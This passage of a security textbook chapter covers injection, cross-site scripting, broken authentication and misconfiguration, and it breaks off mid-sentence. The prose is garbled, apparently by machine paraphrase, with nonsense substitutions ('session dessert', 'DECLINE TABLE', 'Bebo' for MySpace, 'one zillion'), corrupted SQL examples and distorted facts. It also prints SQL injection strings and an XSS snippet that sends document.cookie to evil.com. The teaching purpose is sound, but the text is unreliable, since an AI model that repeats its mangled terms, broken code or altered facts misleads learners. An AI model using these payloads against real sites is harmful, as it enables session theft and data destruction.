Threat Landscape and Common Vulnerabilities

# Chapter 4: Threat Landscape and Common Vulnerabilities
Every application operates inside a place full of threats – destructive actors constantly seeking for weaknesses to use. Understanding the risk landscape is crucial for defense. Within this chapter, we'll survey the most common types of program vulnerabilities and attacks seen in the particular wild today. We will discuss how these people work, provide real-life samples of their fermage, and introduce very best practices to stop them. This will place the groundwork for later chapters, which can delve deeper in to how to construct security straight into the development lifecycle and specific protection.

Over the many years, certain categories regarding vulnerabilities have come about as perennial issues, regularly appearing throughout security assessments in addition to breach reports. Business resources like the OWASP Top 10 (for web applications) and CWE Top twenty five (common weaknesses enumeration) list these normal suspects. Let's discover some of the major ones:

## Injection Attacks (SQL, Command Injection, and so on. )
- **Description**: Injection flaws happen when an application takes untrusted insight (often from a good user) and passes it into the interpreter or command in a manner that alters the particular intended execution. The particular classic example will be SQL Injection (SQLi) – where customer input is concatenated into an SQL query without right sanitization, allowing you provide their own SQL commands. Similarly, Command Injection involves treating OS commands, LDAP Injection into LDAP queries, NoSQL Shot in NoSQL data source, and so on. Essentially, the application falls flat to distinguish information from code directions.

- **How it works**: Consider a new simple login contact form that takes a good username and password. If the particular server-side code naively constructs a query such as: `SELECT * BY users WHERE username = 'alice' AND password = 'mypassword'; `, an attacker can input something like `username: alice' OR '1'='1` and `password: anything`. The resulting SQL would become: `SELECT * FROM users WHERE username = 'alice' OR PERHAPS '1'='1' AND password = 'anything'; `. The `'1'='1'` problem always true may make the question return all customers, effectively bypassing typically the password check. This particular is a simple sort of SQL treatment to force the login.
More maliciously, an attacker may terminate the question through adding `; DECLINE TABLE users; --` to delete the users table (a destructive attack upon integrity) or `; SELECT credit_card BY users; --` in order to dump sensitive info (a confidentiality breach).
- **Real-world impact**: SQL injection offers been behind some of the largest data breaches on record. We all mentioned the Heartland Payment Systems infringement – in 2008, attackers exploited the SQL injection in a web application to be able to ultimately penetrate inside systems and grab millions of credit card numbers​
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. Another case: the TalkTalk 2015 breach in the UK, wherever a teenager utilized SQL injection to access the personal information of over one hundred and fifty, 000 customers. Typically the subsequent investigation unveiled TalkTalk had kept an obsolete web site with a known SQLi flaw online, and hadn't patched a database susceptability from 2012​
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. TalkTalk's CEO defined it as a basic cyberattack; certainly, SQLi was well-understood for a decade, yet the company's failure to sterilize inputs and update software resulted in the serious incident – they were fined and suffered reputational loss.
These good examples show injection assaults can compromise discretion (steal data), sincerity (modify or remove data), and availability (if data is usually wiped, service is definitely disrupted). Even these days, injection remains the common attack vector. In fact, OWASP's 2021 Top Ten still lists Treatment (including SQL, NoSQL, command injection, and so forth. ) as a leading risk (category A03: 2021)​
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- **Defense**: Typically the primary defense in opposition to injection is reviews validation and end result escaping – make sure that any untrusted data is treated simply because pure data, in no way as code. Employing prepared statements (parameterized queries) with certain variables is a new gold standard for SQL: it sets apart the SQL code from the data values, so even when an user enters a weird line, it won't split the query construction. For example, utilizing a parameterized query in Java with JDBC, the previous get access query would turn out to be `SELECT * THROUGH users WHERE login name =? AND username and password =? `, and even the `? ` placeholders are bound to user inputs properly (so `' OR EVEN '1'='1` would always be treated literally while an username, which often won't match any kind of real username, instead than part regarding SQL logic). Related approaches exist regarding other interpreters.
Upon top of that, whitelisting input acceptance can restrict what characters or structure is allowed (e. g., an login name could be restricted to be able to alphanumeric), stopping several injection payloads with the front door​
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. Furthermore, encoding output properly (e. g. HTML CODE encoding to prevent script injection) is key, which we'll cover under XSS.
Developers should never directly include raw input in orders. Secure frameworks in addition to ORM (Object-Relational Mapping) tools help by simply handling the query building for you. Finally, least opportunity helps mitigate impact: the database account used by the particular app should have got only necessary liberties – e. g. it should not include DROP TABLE rights if not necessary, to prevent the injection from performing irreparable harm.

## Cross-Site Scripting (XSS)
- **Description**: Cross-Site Scripting refers to a class of weaknesses where an application includes malicious canevas in the context of a trusted website. Unlike injection into a server, XSS is about injecting into the content that will other users see, commonly in the web web page, causing victim users' browsers to carry out attacker-supplied script. There are a couple of types of XSS: Stored XSS (the malicious script is stored on the server, e. h. within a database, and even served to some other users), Reflected XSS (the script is usually reflected off of the machine immediately inside a reaction, often via a search query or problem message), and DOM-based XSS (the vulnerability is in client-side JavaScript that insecurely manipulates the DOM).

- **How this works**: Imagine a communication board where customers can post responses. If the program does not sanitize CODE tags in comments, an attacker can post a review like: ` var i=new Image(); i. src="http://evil.com/steal?cookie="+document.cookie; `. Any end user who views that will comment will by mistake run the script in their web browser. The script over would send the particular user's session dessert to the attacker's server (stealing their particular session, hence allowing the attacker in order to impersonate them in the site – a confidentiality plus integrity breach).
In a reflected XSS scenario, maybe the web site shows your insight by using an error page: in the event you pass a script in typically the URL plus the internet site echoes it, it will execute in the browser of the person who clicked that harmful link.
Essentially, XSS turns the victim's browser into a great unwitting accomplice.
-- **Real-world impact**: XSS can be very serious, especially on highly trusted internet sites (like social networks, webmail, banking portals). The famous early example was the Samy worm on Bebo in 2005. An individual can named Samy discovered a stored XSS vulnerability in Web sites profiles. He constructed a worm: the script that, any time any user seen his profile, that would add him or her as a buddy and copy the script to the viewer's own profile. Doing this, anyone otherwise viewing their account got infected also. Within just twenty hours of release, over one zillion users' profiles experienced run the worm's payload, making Samy among the fastest-spreading malware of time​
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. The particular worm itself simply displayed the term "but most regarding all, Samy is usually my hero" in profiles, a relatively harmless prank​
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. On the other hand, it absolutely was a wake-up call: if a great XSS worm could add friends, this could just just as quickly create stolen private messages, spread junk mail, or done some other malicious actions on behalf of users. Samy faced legitimate consequences for this specific stunt​
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In one other scenario, XSS may be used to be able to hijack accounts: for instance, a resembled XSS inside a bank's site could be used via a phishing email that tips an user in to clicking an LINK, which then completes a script to be able to transfer funds or perhaps steal session bridal party.
XSS vulnerabilities have been present in web sites like Twitter, Fb (early days), and countless others – bug bounty applications commonly receive XSS reports. While many XSS bugs are regarding moderate severity (defaced UI, etc. ), some may be important if they enable administrative account takeover or deliver adware and spyware to users.
- **Defense**: The foundation of XSS protection is output coding. Any user-supplied content that is shown within a page have to be properly escaped/encoded so that it cannot be interpreted since active script. Intended for example, in the event that an end user writes ` bad() ` in a comment, the server have to store it after which output it since `< script> bad()< /script> ` so that it appears as harmless textual content, not as a good actual script. Modern web frameworks often provide template machines that automatically avoid variables, which inhibits most reflected or even stored XSS by simply default.
Another significant defense is Content Security Policy (CSP) – a header that instructs web browsers to execute scripts from certain options. A well-configured CSP can mitigate the impact of XSS by blocking inline scripts or external scripts that aren't explicitly allowed, even though CSP could be intricate to set back up without affecting web page functionality.
For  secure access service edge , it's also essential to avoid practices love dynamically constructing HTML with raw files or using `eval()` on user insight in JavaScript. Net applications can furthermore sanitize input in order to strip out banned tags or attributes (though this is certainly complicated to get perfect). In summary: validate and sanitize virtually any HTML or JavaScript inputs, use context-appropriate escaping (HTML escape for HTML information, JavaScript escape with regard to data injected in to scripts, etc. ), and consider permitting browser-side defenses want CSP.

## Busted Authentication and Session Supervision
- **Description**: These vulnerabilities include weaknesses in how users authenticate in order to the application or even maintain their verified session. "Broken authentication" can mean many different issues: allowing weakened passwords, not protecting against brute force, declining to implement correct multi-factor authentication, or exposing session IDs. "Session management" is definitely closely related – once an user is logged found in, the app typically uses a program cookie or symbol to consider them; if that mechanism is flawed (e. h. predictable session IDs, not expiring periods, not securing the particular cookie), attackers may hijack other users' sessions.

- **How it works**: One particular common example is definitely websites that imposed overly simple security password requirements or got no protection towards trying many security passwords. Attackers exploit this kind of by using abilities stuffing (trying username/password pairs leaked from the other sites) or brute force (trying many combinations). If presently there will be no lockouts or even rate limits, a great attacker can systematically guess credentials.
Another example: if an application's session biscuit (the piece of files that identifies the logged-in session) is definitely not marked using the Secure flag (so it's sent above HTTP as properly as HTTPS) or not marked HttpOnly (so it can certainly be accessible to be able to scripts), it would be stolen via network sniffing or XSS. Once an attacker offers a valid session token (say, stolen from an inferior Wi-Fi or through an XSS attack), they can impersonate of which user without seeking credentials.
There have got also been logic flaws where, with regard to instance, the password reset functionality is weak – probably it's susceptible to the attack where the attacker can reset someone else's password by modifying guidelines (this crosses directly into insecure direct subject references / accessibility control too).
Overall, broken authentication masks anything that enables an attacker in order to either gain recommendations illicitly or bypass the login making use of some flaw.
rapid **Real-world impact**: We've all seen reports of massive "credential dumps" – enormous amounts of username/password pairs floating around by past breaches. Assailants take these plus try them on the subject of other services (because a lot of people reuse passwords). This automated credential stuffing has guided to compromises involving high-profile accounts in various platforms.
One of broken auth was your case in the summer season where LinkedIn suffered a breach and even 6. 5 zillion password hashes (unsalted SHA-1) were leaked​
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. The weak hashing meant attackers cracked most regarding those passwords within hours​
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. Worse, a few many years later it flipped out the breach was actually a great deal larger (over 100 million accounts). People often reuse accounts, so that break had ripple effects across other sites. LinkedIn's failing was initially in cryptography (they didn't salt or use a robust hash), which is definitely section of protecting authentication data.
Another normal incident type: program hijacking. For instance, before most sites adopted HTTPS everywhere, attackers on a single system (like a Wi-Fi) could sniff cookies and impersonate consumers – a threat popularized by the Firesheep tool in 2010, which usually let anyone eavesdrop on unencrypted periods for sites want Facebook. This forced web services to encrypt entire sessions, not just sign in pages.
There have also been cases of flawed multi-factor authentication implementations or login bypasses due to reasoning errors (e. gary the gadget guy., an API that returns different text messages for valid vs invalid usernames can allow an attacker to enumerate users, or a poorly executed "remember me" symbol that's easy to be able to forge). The effects of broken authentication are severe: unauthorized access to user records, data breaches, id theft, or unapproved transactions.
- **Defense**: Protecting authentication requires a multi-pronged approach:
- Enforce strong password policies but within just reason. Current NIST guidelines recommend allowing users to select long passwords (up to 64 chars) and not requiring repeated changes unless there's indication of compromise​
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. Instead, check passwords against known breached security password lists (to disallow "P@ssw0rd" and typically the like). Also motivate passphrases which can be easier to remember nevertheless hard to figure.
- Implement multi-factor authentication (MFA). A password alone will be often insufficient these days; providing an alternative (or requirement) to get a second factor, as an one-time code or even a push notification, significantly reduces the risk of account bargain even if accounts leak. Many major breaches could have got been mitigated by MFA.
- Safe the session bridal party. Use the Secure flag on biscuits so they are usually only sent above HTTPS, HttpOnly therefore they aren't attainable via JavaScript (mitigating some XSS impact), and consider SameSite to prevent these people from being delivered in CSRF episodes (more on CSRF later). Make period IDs long, unique, and unpredictable (to prevent guessing).
rapid Avoid exposing program IDs in URLs, because they can be logged or leaked via referer headers. Always prefer biscuits or authorization headers.
- Implement account lockout or throttling for login tries. After say five to ten failed attempts, possibly lock the account for a period or perhaps increasingly delay answers. Also use CAPTCHAs or other mechanisms in case automated attempts are detected. However, become mindful of denial-of-service – some sites opt for smoother throttling to steer clear of letting attackers secure out users by simply trying bad account details repeatedly.
- Session timeout and logout: Expire sessions after a reasonable period regarding inactivity, and completely invalidate session bridal party on logout. It's surprising how a few apps in typically the past didn't effectively invalidate server-side treatment records on logout, allowing tokens to become re-used.
- Focus on forgot password runs. Use secure as well or links via email, don't expose whether an user exists or not (to prevent user enumeration), and assure those tokens run out quickly.
Modern frameworks often handle a lot of this kind of to suit your needs, but misconfigurations are normal (e. gary the gadget guy., a developer may accidentally disable a new security feature). Normal audits and assessments (like using OWASP ZAP or additional tools) can capture issues like absent secure flags or perhaps weak password guidelines.
Lastly, monitor authentication events. Unusual styles (like an individual IP trying thousands of usernames, or one account experiencing countless failed logins) should raise alarms. This terme conseillé with intrusion recognition.
To emphasize, OWASP's 2021 list calls this category Id and Authentication Problems (formerly "Broken Authentication") and highlights the particular importance of such things as MFA, not employing default credentials, and implementing proper pass word handling​
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. They note that will 90% of software tested had issues in this area in many form, which is quite mind boggling.

## Security Misconfiguration
- **Description**: Misconfiguration isn't an individual susceptability per se, yet a broad category of mistakes throughout configuring the application or its environment that lead to be able to insecurity. This could involve using default credentials or options, leaving unnecessary attributes enabled, misconfiguring safety measures headers, delete word solidifying the server. Basically, the software might be secure in principle, however the way it's deployed or put together opens a pit.

- **How that works**: Examples regarding misconfiguration:
- Leaving behind default admin accounts/passwords active. Many application packages or products historically shipped together with well-known defaults